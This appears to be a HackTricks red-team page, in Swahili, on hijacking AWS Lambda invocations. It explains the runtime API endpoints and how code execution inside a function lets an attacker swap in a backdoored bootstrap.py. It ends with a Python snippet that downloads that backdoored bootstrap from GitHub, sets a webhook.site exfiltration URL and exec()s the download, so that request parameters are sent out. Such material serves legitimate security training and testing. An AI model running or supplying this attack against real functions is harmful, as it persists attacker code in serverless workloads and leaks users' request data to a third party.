AWS - Pora Lambda Maombi

Reading time: 4 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Mchakato wa Lambda

https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png

  1. Slicer ni mchakato nje ya kontena ambao inatuma maombi kwa mchakato wa init.
  2. Mchakato wa init unasikiliza kwenye bandari 9001 ukifichua baadhi ya maeneo ya kuvutia:
  • /2018-06-01/runtime/invocation/next – pata tukio la maombi linalofuata
  • /2018-06-01/runtime/invocation/{invoke-id}/response – rudisha jibu la handler kwa ombi
  • /2018-06-01/runtime/invocation/{invoke-id}/error – rudisha kosa la utekelezaji
  1. bootstrap.py ina mzunguko unaopata maombi kutoka kwa mchakato wa init na inaita msimbo wa watumiaji kushughulikia maombi hayo (/next).
  2. Hatimaye, bootstrap.py inatuma kwa init jibu

Kumbuka kwamba bootstrap inachukua msimbo wa mtumiaji kama moduli, hivyo utekelezaji wowote wa msimbo unaofanywa na msimbo wa watumiaji unafanyika katika mchakato huu.

Kuiba Maombi ya Lambda

Lengo la shambulio hili ni kufanya msimbo wa watumiaji utekeleze mchakato mbaya wa bootstrap.py ndani ya mchakato wa bootstrap.py unaoshughulikia ombi lenye udhaifu. Kwa njia hii, mchakato wa bootstrap mbaya utaanza kuzungumza na mchakato wa init ili kushughulikia maombi wakati bootstrap halali ime kwama ikifanya mchakato mbaya, hivyo haitahitaji maombi kwa mchakato wa init.

Hii ni kazi rahisi kufanikisha kwani msimbo wa mtumiaji unatekelezwa na mchakato halali wa bootstrap.py. Hivyo mshambuliaji anaweza:

  • Kutuma matokeo ya uwongo ya ombi la sasa kwa mchakato wa init, hivyo init inafikiri mchakato wa bootstrap unangojea maombi zaidi.
  • Ombi lazima litumwe kwa /${invoke-id}/response
  • Invoke-id inaweza kupatikana kutoka kwenye stack ya mchakato halali wa bootstrap.py kwa kutumia moduli ya python inspect (kama ilivyopendekezwa hapa) au tu kuomba tena kwa /2018-06-01/runtime/invocation/next (kama ilivyopendekezwa hapa).
  • Tekeleza boostrap.py mbaya ambayo itashughulikia maombi yanayofuata
  • Kwa ajili ya kujificha, inawezekana kutuma vigezo vya maombi ya lambda kwa C2 inayodhibitiwa na mshambuliaji na kisha kushughulikia maombi kama kawaida.
  • Kwa shambulio hili, inatosha kupata msimbo wa asili wa bootstrap.py kutoka kwenye mfumo au github, ongeza msimbo mbaya na uendeshe kutoka kwenye ombi la sasa la lambda.

Hatua za Shambulio

  1. Pata udhaifu wa RCE.
  2. Tengeneza bootstrap mbaya (mfano https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)
  3. Tekeleza bootstrap mbaya.

Unaweza kwa urahisi kufanya vitendo hivi ukikimbia:

bash
python3 <<EOF
import os
import urllib3

# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data

# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"

exec(new_runtime)
EOF

Kwa maelezo zaidi angalia https://github.com/carlospolop/lambda_bootstrap_switcher

Marejeo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks